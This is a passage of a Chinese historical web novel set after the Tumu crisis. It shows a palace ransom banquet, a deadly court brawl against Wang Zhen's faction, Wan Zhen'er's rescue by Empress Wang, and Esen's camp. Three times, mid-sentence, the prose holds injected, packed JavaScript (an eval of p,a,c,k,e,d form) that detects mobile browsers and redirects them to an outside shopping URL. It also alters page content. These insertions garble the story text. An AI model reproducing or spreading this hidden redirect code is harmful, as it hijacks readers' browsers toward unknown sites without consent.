周盼儿道:“郕王那个性子,你也是知道的,最是温和的一个人,从前见了谁都是客客气气的。如今虽是阴差阳错坐在这个位子上,但待我们母子,想来是不会差的。我和你说,钱娘娘得了消息,原想说是不是要搬出坤宁宫,让给郕王妃。郕王妃不肯,仍让她住在坤宁宫正殿,这是新帝后的态度了。” 万贞儿只是静静地听着,脸上保持着得体的微笑,适时点头,偶尔附和一句“娘娘说得是”“小爷是有福的”“最坏的时候过去,总会否极泰来”。心里却隐隐觉得,此一时彼一时,都难说得准。 既然从前疼爱她的爹娘都能把她丢下,那么人心易变,最终到底会成什么样,也未可知。不过这种没定数的事,没必要拿出来说。 万贞儿看着周盼儿眼睛下略青黑的痕迹,知道这段时间她的心里也是不好受的。 闲聊了一会儿,听得外间有宫人禀告,说钱皇后等人陆续来了。周盼儿连忙对镜整理了一下衣裳鬓发,走出去交际。 万贞儿则等候了一会儿,才抱着睡眼惺忪的小太子到摆宴的后殿去。 人已经到齐了,孙太后坐在上首,神色淡淡的,看不出太多悲喜。新帝朱祁钰坐在左下首,坐姿有些僵硬,背挺得笔直,双手规规矩矩放在膝上,还是从前做郕王的那副恭敬样子,甚至还多了一份小心翼翼,怕孙太后等人觉得他坐上龙椅就开始摆架子。 而吴太妃则坐在右侧,单独摆了一席。甚至连钱皇后都排在她席位之侧。这让这位向来低调惯的太妃很是不适应,来时看见席位立刻说,“我坐在那边吧”,还是孙太后发话,她才肯坐下的。旁边紧挨着新后汪氏。再往后才是钱皇后与周妃。 小太子的席位,正在新帝朱祁钰之侧。朱祁钰一侧首就能瞧见的位置。不过小太子年纪尚幼,无法一个人坐着,万贞儿就跟乳母王氏立在他身后,以便照顾。 一殿的人都沉默着,可以说脸上毫无喜色。最憔悴的当属钱皇后,穿着一件天青色皇后常服,鬓边除了一支玉簪再无其余装饰。脸上敷了粉,却盖不住浮肿的眼皮,显然是哭了不知多久。 膳□□美,却无人有心情品尝。 孙太后说了几句不痛不痒的场面话,要大家动筷,于是沉默地用起饭来。 勉强吃了一会儿,孙太后放下筷子,伤感道:“我们如今在这宴饮,不知太上皇在也先那里,可能吃得饱穿得暖。” 这一句话,令钱皇后的眼泪夺眶而出。 她忽然站起来,用沙哑的声音道:“皇爷。” 朱祁钰愣了一下,才意识到皇嫂是在喊他,手抖了一下,汤匙险些掉在碗里。他定了定神,才看向钱皇后:“皇嫂有何吩咐?” 眼泪从钱皇后的脸上扑簌簌落下,她想说些什么,开口就是哽咽,尝试了两次,都说不出话来,索性离席走向朱祁钰,隔了席面,站定了,忽而膝盖一屈,竟然是要跪下去! 朱祁钰吓得,一下子从椅子上弹起来,还撞了一下膝盖,疼得直咧嘴却也顾不得,赶忙去扶钱皇后。汪氏也立刻凑过来,夫妻两一左一右架着她,不肯让她跪下。 “皇嫂!你这是作甚?快起来。” “皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956474|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷,我求求你。”钱皇后泣不成声,断断续续道,“我听说也先要赎金才肯放人,我有,我有的,来人,拿上来!” 跟着她贴身伺候的宫女也是眼睛发红,立刻朝后边的人招手,两个内侍吃力地抬了一个大木箱子进来。 箱盖一打开,珠宝光气直晃人眼睛。纯金的首饰头面,大的如鸽卵,小的精巧玲珑,整匹的织金缎、妆花锦……怪道她今日打扮得如此素净,原来那些皇后才有的华贵头面,全收在了箱笼里。 “皇爷,求求您,都拿去,都拿去!”钱皇后指着那箱子,泣不成声,“派人送到也先那里去,求他放人,换太上皇回来!不够的话我再去库房凑凑。求求您了,皇爷。” 所有人都惊住了,连周盼儿都情不自禁站起来,目光发愣。 朱祁钰手足无措地站在那里,看着那箱璀璨夺目,却又刺眼无比的金银珠宝,偏头看着哭得几乎瘫软的钱皇后,脸上一阵红一阵白,半晌说不出完整的话来。只一个劲的说:“皇嫂你起来,你先起来。” 唯有犯困的小太子不解地看了大人们一眼,打了个哈欠,靠在万贞儿怀里闭上眼继续打盹。 万贞儿轻轻拍着小太子,瞥了上首的孙太后一眼。 她在孙太后身边伺候多年,多少了解些主子的心思,这场宴席真正的用意怕也在这里。 一直沉默的孙太后,此时长长地叹了一口气。离席走下来,扶住钱皇后。 “好孩子,哀家知道你有多担心太上皇,瞧瞧这眼睛,都哭成什么样了。其实,哀家又何尝不担心,那是我身上掉下来的肉啊!” 说着,落下一滴泪来。旁边的朱祁钰愈发无措。 孙太后顿了顿,目光转向朱祁钰,又看了看那箱子,缓缓道,“事到如今,什么皇帝,什么江山,哀家也不想了。哀家只求他能活着回来,平平安安地回来。日后做个富贵闲王,也就心满意足了。” 她擦了擦眼角的泪,道:“哀家这里也有些私藏,贞儿——” “奴婢在。”万贞儿连忙答应一声。 “你等会儿就领人将东西都理好,多凑些,不管如何,都是一个指望。” “奴婢遵命。” 事到如今,朱祁钰还有什么不明白的,立刻道:“请母后和皇嫂放心,我立刻与先生们说,连同我的私藏和内库金银都筹措些,给也先那边送去,望皇兄早日归来。” 他咬了咬薄唇,道:“只要皇兄能归来,一切都好,这江山,这位置,本就是皇兄的,我不过暂时看管着。等皇兄回来,从前怎么样,以后还是怎么样。” 12. 血色朝堂 孙太后脸上浮现出一种很复杂的神情,最后柔和地笑了笑,道:“我知道你是个好孩子。” 宴席散去,万贞儿先将小太子送回寝殿,嘱咐伺候宫人好生看管。然后匆匆走到清宁宫内库的位置,去清点金银细软。 为了瞧得更清楚,屋子里点了许多灯,在这样燥热的初秋,使得殿中愈发沉闷。 灯影瞳瞳里,孙太后静默坐在圈椅上,注视着万贞儿领着宫女将那些华美珍贵的首饰头面一点点取出。 万贞儿跟在她身边这么多年,对于太后所珍爱的珠宝头面,都是有数的。打开一个楠木匣,一整套嵌七宝金头面在灯光下闪耀夺目的光彩。定簪,挑心、分心、掩鬓、每一件都镶嵌着各色宝石。 她犹豫了一瞬,还是问:“这套头面留着吗?” 孙太后侧了侧首,认出那一套头面。是她生下朱祁镇那年,先帝爷特意为她打造的。多少年过去了,送这套头面的人已经离世,各色彩宝依旧璀璨夺目。 “不留了,都送去。”孙太后以平静的声音说道。 收拾了小半夜,除了太后的凤冠以及必要的维持体面的头面首饰,清宁宫多年的私藏尽数拿了出来。 万贞儿最后核对清单盖箱,都有些感伤。 这都是太后娘娘多年积攒下来的宝物啊,如今尽散了。并且很有可能是一去无回。 这样多口大箱子,在宫中宵禁解除后,便悄悄送至东宫。时间仓促,新年号、登基礼仪之类的还未议定,朱祁钰仍住在这里。 “你说送来了多少箱子?”宿在殿后直房的内臣成敬有些不可思议地问。 “加上钱娘娘那边送来的,总有四十一口箱子,太上皇的其余娘娘也凑了些送了过来。” 成敬一边听,一边披衣起身,匆匆赶到后边看。 未明的天色里,那些箱子静静堆放着,随便打开一口,里面装着的都是奇珍异玩。 孙老娘娘和钱娘娘她们的心意都在这里了。 成敬乃是朱祁钰从王府带来的内官,目前的情景,主子仍懵懂。真要将这些箱笼送至也先处,还需要主子和于谦等先生商量。 这其实是件麻烦事,但是老娘娘的态度摆在这里,从情理上无论如何也要运作一番。于是等主子起身后,成敬立刻禀告了这事。 朱祁钰拿了递上来的单子仔细看了,亦觉吃惊,吩咐道:“你等会儿先引于先生过来。” 成敬答应一声,立刻去了。 这几日于谦都是天蒙蒙亮就赶早进宫,成敬特意在路上等了等,瞧见他的身影,立刻上前问好。 于谦原本远远瞧见一个内臣领人拦住他的路,有些不耐烦。借着熹微的天色,瞧清了是成敬,脸色稍霁。 “思慕,你怎么在这里?怎么,是皇爷那边有事传召?”于谦问。 思慕是成敬的字,成敬原也是永乐年间的进士,后因为卷入汉王叛乱,被处以宫刑成了宦官,两人从前是旧相识。 “你一猜一个准。”成敬一面提起灯笼给他照路,一面低声说了孙太后设宴、收拾珠宝首饰的事。 于谦听了,颇为头疼。等见了朱祁钰,他索性直言:“当真要送那么多过去?皇爷,眼下这情景,也先就是收了也不会放人的。” 依他说,要是娘娘们真有这个心,不如把这些都变作军费。天知道也先什么时候领兵往这边打呢,还会带着朝廷的各色武器装备。想想都头疼。 朱祁钰低声道:“无论如何,总是一个念想。鞑子爱财,万一能有些用处呢?就算不能将皇兄送还,看在这些财宝的份上,也许会待他好些。老娘娘大约这样想的。” 他又补充道:“再有,我现在被架在这位置上,总不能刚刚开始,就把娘娘们当耳旁风啊。我也为难。” 于谦叹了口气:“臣明白了,会妥善安排这事。不过——” 他口风一转:“这些都是小儿女的心思,如今临危之际,皇爷还是要以政务为要,思虑如何使人心安定,使武备齐全。” “我知道,一定听先生们的。” 将这事安排妥当,朱祁钰松了一口气。匆匆吃了两口早膳,就赶去上朝。 今日是大朝会,众臣分班轮次站好,将要紧事一一奏来。只是这关口要紧事着实有些多,例如筹措军费,例如如何补充兵员,还有些麻烦事,比如也先使人带着太上皇,跑到大同城下,要求守将开门。 “守将罗亨信、郭登答约奉命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956475|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守城,不敢擅启闭,因此对面悻悻而归,也不知道这样处理是否妥当。”奏事的臣子瞥了一眼新帝。 其实守将们心里也忐忑,从前的天子在城门下喊开门,他们却不开,万一被宫里知道治罪了可如何是好。但是一旦开了城门,那就是引狼入室了,最终还是没开。 现在就看新帝的态度了,若认可,之后就引以为先例。 朱祁钰听见皇兄竟然在瓦剌的胁迫下叫门,也是一愣。他下意识看了一眼于谦,然而于谦只是专心致志地在看笏板。 这是要他拿主意。 朱祁钰咬了咬下唇,道:“守将思虑周全,也未必是太上皇,许是也先使人诡诈,日后多加防范。” 奏事的臣子明白了,立刻答应,然后忿忿道:“太上皇被小人所误,以至于到如此光景。可是,有些小人之流可还在这朝堂上站着呢!” 此言一出,如同水进油锅,满堂官员都炸了一般。从前王振及其党羽得势时没少得罪人,现在更是引来弥天大祸。随同太上皇出征的那么多人,总有些与堂上站着的官员沾亲带故,因此往大里说是误国之恨,往小里说是血仇。 附议之声四起,越来越激昂。 堂上站着的,从前王振的党羽脸色都不好看了。尤其是锦衣卫都指挥使马顺,他向来脾气爆,又嚣张惯了,这会儿被人指着鼻子,实在忍不住,大喝一声反驳道:“这一下子全是事后诸葛亮了,当日圣驾未出征之时,怎么就没有那么多贤臣呢?” 这句话,彻底捅了马蜂窝。 “狗攮的阉党,还敢狡辩,该死!” 马顺还没来得及回头看谁说话,一个笏板重重地、裹挟着风打在他脑袋上。一下、两下、三下,鲜血沿着笏板流下来,砸在金砖上。 紧接着更多大臣冲了过来,揪着王振的党羽往死里打。文官的笏板,武将的拳头,甚至腰间的玉带,雨点般朝那几个人砸去。 怒骂声、痛呼声、击打□□发出的沉闷声响,瞬间充斥了整个大殿。 御座之上的朱祁钰全然吓呆了,望着这群平常斯文有礼的大臣拳脚相加。 是真的往死里打,飞溅的血,濒死的痛呼,弥漫开的血腥气,充盈了整个朝堂。 13. 内讧 慌乱不堪的场面直到殿外的卫兵冲进来方才缓解。 王振一党所残留的几个党羽已经被揍倒在地上,有出的气没进的气。 坐在御座上的朱祁钰,掩在大袖之中的手仍颤抖着。瞧见场面稍稍安定,不忍看倒在血泊里的人,径直起身想要逃开这满是血腥味的场面。 于谦瞧见他的神态,当即上前拉住他的衣袖:“皇爷,事已至此,请诏令追究王振党羽之责。” 不能让他就这么走了,不然事后追究起来,事出无名,动手的大臣们也难圆其说。 朱祁钰只想逃开,匆匆丢下一句:“依卿所奏,自行处理。” 然后立刻快步往大殿后头走,险些被自己的袍角绊了一下,不要人扶,很快走出去。 一口气走出好远,回过神来,但见红墙夹道,中间镶嵌着云从密布的天。拂过肩头的风已然有一丝凉意。 后边的内侍成敬匆匆领人追上来,知道自家爷是被吓住了,不说其他,只从挑着茶担的宦官那里沏了一盏茶奉上:“皇爷累了罢,请用茶。” 朱祁钰接过茶盏,也顾不上什么礼仪了,仰头便喝。龙井茶香萦绕于鼻尖,终于将方才绕之不去的血腥味驱散开了些。 他惊魂未定,低声道:“怎么就能闹成这样。” 成敬叹息一声:“大家伙心里都憋着气呢,也好,闹出来了以后就安生些。” 道理是这个道理,只是……朱祁钰摇了摇头,未免太过激了些。 他循着宫墙缓缓走了一会儿,渐渐地从方才的恐惧中脱离,有心情想一想斗殴背后的事。 依照于谦刚才所请,去除王振一党是板上钉钉了。人一动,便会空出些位置,譬如那个锦衣卫指挥使的位置,再譬如王振党羽颇多的内廷各大监。 这倒也是个机会。他不得已被推上了这个位置,还是要扶些自己人上来才好。不然,万一再有像刚才那样的情况,没人护着他,那可就太糟糕了。 朱祁钰思量定,当即升成敬为内官监太监,掌管宫内各衙门事。 至于原本各衙门的王振党羽,该抓的就抓了。 朝堂上这次见血的冲突,迅速蔓延开来,无论前朝还是内朝,王振的余党纷纷被纠出来,或被打,或下狱,不一而足。 这样大的动静,自然也传到了后宫,连万贞儿都有所耳闻。 说是当殿打死了好几个人,血都淌在金砖上,人的脸都面目全非的。有胆小的宫人听了脸色都发白,颤抖着声音道,“也是有名头的大人们,说打死就打死了?” “可不,说打死就死了,不过也是他们活该!鼓弄皇爷出征,结果输成这样,弄得这月赏钱都发不出!” …… 纷纷乱乱各种言论,万贞儿只听,并不参与对话。前朝的事,血雨腥风也罢,总隔着一层。 不当值时,她就坐在屋子门前,给小太子绣衣裳。眼看秋冬就要来了,寒衣得开始预备起来。虽然手艺比不上尚衣局,但做几件贴身的里衣总是没问题的。 宫人庑房是一排排连接的低矮小房子,正是午后时分,不当值的宫人多午睡着,因此较为安静。 万贞儿细密地缝制了一圈衣裳,盯着针线久了,眼睛有些发散,于是伸伸懒腰,将手中绣了一半的里衣放下,起身去炉子上斟茶吃。 正倒水呢,忽然听见一阵急促到慌乱的脚步声,咚咚咚地响。这午休的工夫,谁这样杂乱?万贞儿回头,只见一个穿青袍的内侍跌跌撞撞冲过来,脸上又是汗又是泪,糊成一团,正是前些日子在铜炉边被众人恭维、给她端过茶的那个小内侍王福。 王福一见她,噗通就跪下了,连连磕头:“求姑姑救命,求姑姑救命。” 万贞儿被他这突如其来的举动弄得一怔,旋即反应过来,大概是清算王振党羽,牵连到了他。 “别这样子,起来慢慢说。”万贞儿道,“你虽后来有些借人家的势,但不过是个小角色,解释清楚该罚钱罚些,也就罢了。你没跟着他们做什么恶吧?” 王福直摇头,声音又尖又快:“我哪里能做什么恶啊,我连王公公——王逆贼的面都没正经见过。我一个大子的好处没得,倒贴了十两银子去打点门路。可是,可是谁听啊!” 他语无伦次起来,一把鼻涕一把泪:“姑姑你信我,我但凡做了一件坏事,就叫我下辈子也当阉人。” 万贞儿不知道如何作答,拉他起来:“行了,你到屋里说话。” “来不及了,”王福哭着,从衣裳里摸出一个蓝布包,不由分说往万贞儿手里塞,“这是我这些年攒下来的一点银钱,都在这里了,是预备给我娘养老的……我苦命的娘哦,她住在城南帽儿胡同尽头的一间小房,眼睛不好,你说是瞎婆婆,都知道的。万一姑姑有机会,请帮我给我娘。我给您磕头了!” 说着,又跪下来砰砰砰磕头,额头都红了。 “不是,你——” 万贞儿正欲开口细问,忽然听见一阵恶狠狠的声音。 “在那里,那个王八羔子在那儿!” “抓住他!别让他跑了!” “非打死他!” 几个面目陌生的宦官气势汹汹地冲了过来,看服色像是哪个监局的低等头目,脸上带着一种混合着亢奋与戾气的神情。 为首一人满脸横肉,眼神凶狠,伸手揪住王福,“嘭”的就给了他一拳。 万贞儿眼见着鼻血从王福脸上流下,不由得惊呼一声。 “放肆,你们做什么?” 那人扭头看她,见她穿戴应该是有些脸面的宫女,粗着声音说:“不干你事,我们捉拿王振余党!” 万贞儿凛声道:“捉拿王振余党乃是人心所向,无可厚非。可宫里也有宫里的规矩。他若真有罪过,也该由宫正司审问,查明之后有什么罪就判什么 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说完,他一挥手,几个人同时上前,竟然是要连万贞儿一起拉去! 万贞儿自幼长在太后宫中,所见的也多是讲规矩之人,哪里见过这般只知道扣帽子的。又气又急,正要挣扎喊人,忽然听见一个清冷威严的女声。 “这也是王振党羽,那也是王振党羽,索性把本宫也抓起来,一并审问!” “本宫”两个字,让那几个宦官如同被施了定身法,动作僵在半空。脸上嚣张气焰立刻褪去,转为惊恐。 万贞儿寻声望去,竟然是朱祁钰的妻子,板上钉钉的皇后汪氏。 “娘娘饶命,我等不敢啊。”那几个宦官立刻伏地求饶,为首的抢着辩解:“我们正要捉拿王振余党,这个宫女百般阻挠,定然也是……” “住嘴。”汪皇后淡淡道,“我都听见了。宫女说的话,难道没道理?大敌当前,先内讧起来,能有什么好。来人,把这几个全都带到宫正司去,依律审问,有罪必罚,无罪不得攀咬。” 立刻有人上前,将人通通带走。 万贞儿向汪皇后行了个礼,道:“多谢娘娘,奴婢也去宫正司接受审问。” 汪皇后看了她一眼:“不必,我知道你。” “方才你所言,很有道理,回去,我也会向皇爷进言。” 万贞儿整理了一下情绪,挤出笑脸:“娘娘怎会到这里来?宫人住处嘈杂,是要去清宁宫吗?我陪您。” “刚路过,听见嘈杂声,正好瞧见你。”汪皇后道,“你的胆子也大,还据理力争。” 万贞儿有些不好意思笑了笑:“奴婢只是把内心所想说出来而已,说对的话,总是不怕的。” 汪皇后点头:“你说得很对,世间万物逃不开一个理字。总要依理办事才好。” 14. 草原上的风 汪秀英未出阁时,在家是跟着兄弟一起读圣贤书的,因此养成了个讲理的性子,觉得天道有常,万事万物都该按它的道理来。 初来宫廷遭此大变,忽而自己就成了皇后,让她有些不舒服。正愁找不着一个可以说话的人。这时候见着孙太后宫中这个曾引导过自己的宫女,亦识得道理,不由得起了几分亲近之心。 只是碍着身份有别,不好过于亲近。汪秀英瞥了瞥万贞儿匆匆搁在廊下凳子上的小衣,问:“是给小爷缝的?” 宫中这样大的孩子,又能劳动万贞儿动手,多半是小爷了。 万贞儿回头,见她感兴趣,忙递上来给她瞧:“是,手艺不好,您见笑了。” 汪秀英摸了摸那小衣,道:“针脚很缜密,还是翻过来朝外头的,这样就很好,我给大姐儿缝衣裳,也是这样。不求什么花儿、绣样好看,只怕有线勒着孩子。” 两人相视一笑,方才的紧张气氛尽数散了。 万贞儿笑道:“娘娘路过此地,是要去清宁宫么?若不嫌弃,我陪娘娘过去?” “这样也好。”汪秀英微微颔首,在万贞儿的陪同下走出去。 一路相伴着往前走,万贞儿也弄懂了她的来意。 原来汪皇后感念太后娘娘、钱娘娘千金赎人之举,自己也收拾了些首饰细软,想要一并送去,怕碍事,特来询问孙太后。 孙太后听说了她的想法,感慨道:“你这孩子倒是有心。” “本当如此,”汪皇后端坐在椅上道,“于公,太上皇乃是君,臣当为君忧;于私,那是兄长,做弟弟弟媳的该恭敬相助。” 孙太后微微一笑。道理是这个道理,无论汪氏是装出来的还是怎样,能做出这样子就很好。 彼此和颜悦色寒暄几句,孙太后还留汪皇后用膳,席间提起:“如今既然已成了这个局面,不如把你的大姐儿也接到宫里来。做娘的哪有不惦记孩子的。” 说到最后一句,语气有些惆怅。 汪皇后眼睛一亮,起身叩谢,并安慰道:“太后娘娘莫急,等也先收了财宝,说不准就放上皇回来了。” “但愿吧。” 满载金银珠宝的马车从紫禁城出发,一路向西。行到罕有人迹的大地原野之上,甚至依稀可见之前出征大军留下的极深的车轨。 押送马车的士兵瞧见那车轨,瞥过头去,只作瞧不见。当日天子率数十万大军浩浩荡荡走过此地时,绝想不到之后还有一队车队载着赎他的金银珠宝覆辙而过。 都过去了,只剩一地狼藉。 城镇换作了草地,这个时节,草色已黄。自紫禁城而来的马车于黄昏时分抵达也先大营的辕门。 “禀太师淮王,京城那边送赎金来了!好多车呢!” 营帐之中,才与手下议完事的也先闻言抬起了头,哈哈笑道:“诸位,一起开开眼界吧。” 马车以及押送马车的人被圈在大营中央的空地,穿着官袍的脸上带着一种羞愤的神色。 这神色也先近来瞧得多了,只觉欢喜,这是战败者见着胜利者屈辱又不得不臣服的神色,实在也算一种战利品。 他饶有兴趣的打量了一圈这些麻烦,招了招手,示意士兵揭开马车油布将箱子搬下来。 油布被层层掀开。 箱子被打开。 金灿灿的夕阳照在箱子上,可此时没有人在意那夕阳,全部注意力都被整箱的宝物所吸引,码放得整整齐齐的金锭,折射出火彩的玛瑙翡翠各色宝石,晚风中熠熠生辉的丝绸锦缎…… 营地里响起惊叹声。瓦剌士兵们睁大眼睛,有些人下意识往前凑,被小军官一推推回去,才意识到并非是梦。他们一生在草原上驰骋,见过最华贵的东西不过是首领帐篷里的几件金银器皿,何曾见过这样的堆积如山的金银珠宝? 也先缓步走上前,随手从箱中抓起一把珍珠。那些珍珠颗颗浑圆,泛着柔润的虹彩,不知是从哪片遥远的海洋由采珠女舍命捞上来的。 也先一松手,珍珠从他指缝间滑落,叮叮当当地落回箱中,声音清脆得不像人间之物。 “看见了吗?这就是汉人们的宝物。在北京城,在紫禁城,还有更多成箱成箱的宝物!都等着你们去取!” 也先大声向左右人道,“我的儿郎们,加紧操练吧!这些宝物,都在前头等着你们呢!” 这样煽动人心的话,立刻燃起了瓦剌士兵们的心。 “杀!” 顿时,杀声震天。 赏给士兵们好酒好肉之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956477|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,也先转身,吩咐人抬了最好的一箱珠宝首饰和一箱绸缎,往他的母亲营帐中去。 “额吉,你看儿子给你带来了什么!” 也先笑着走进帐中。 一个五十来岁的妇人回首,一双老去的美人眼睛静静望着她的孩子也先。正是也先的母亲,敏答失力。 “怎么了,我的孩子?” 也先迎上前,搀扶住母亲的手臂。这个手上沾染过无数鲜血的男子此刻动作却很轻柔。 “这是明朝送来的赎金的一部分,很漂亮的首饰和丝绸,我想你会喜欢。” 敏答失力的目光掠过那些金银珠宝,却没有停留。她的视线最终落在那箱丝绸上。她走过去,伸手抚摸最上面的一匹杏黄锦缎,触感细腻冰凉。 “这样好的丝绸,得要那种很大的织机才能织成。”静默一会儿之后,敏答失力终于开口说话。 也先不解:“哦?织机也有大小?” “有呢,大的要一整间屋子才能放得下,”敏答失力回忆道,“寻常人家,能有一架小小的就不错了。纺起来嘎吱嘎吱地响,还得上油呢。” 她闭上眼,久违了的那种菜籽油的味道似乎要从记忆里挣扎出来。多少年前的事了?仿佛像是上辈子。那时候她还不叫敏答失力,不是也先的母亲,前任首领的女人。 那时候她的名字叫作周敏,是苏州城一家小户人家的女儿。十五六岁,遵父母之言媒妁之命成了亲,跟着戍边的丈夫到北疆。一个平凡的一天,瓦剌人袭边,杀了她的丈夫,将她掳走。 幸亏还有一张好颜色的脸,在陌生的草地上令她挣扎着活了下来。把他乡做故乡。 “额吉?” 也先的声音把她唤回来。敏答失力笑一笑:“没事,这丝绸太舒服了。” 她定了定神,仔细翻了翻那箱珠宝,心里有了数。 这些上了年纪才喜欢戴的雕刻佛祖头面之类的,多半是皇帝的娘的私藏。 可怜天下父母心。 敏答失力道:“我带着这几样,去见见那位皇帝吧。” “见他做什么?” 敏答失力轻轻呵了一声:“就当是,让我给故国的君主行个礼。再有,你不也想试探一下他到底在想什么吗?”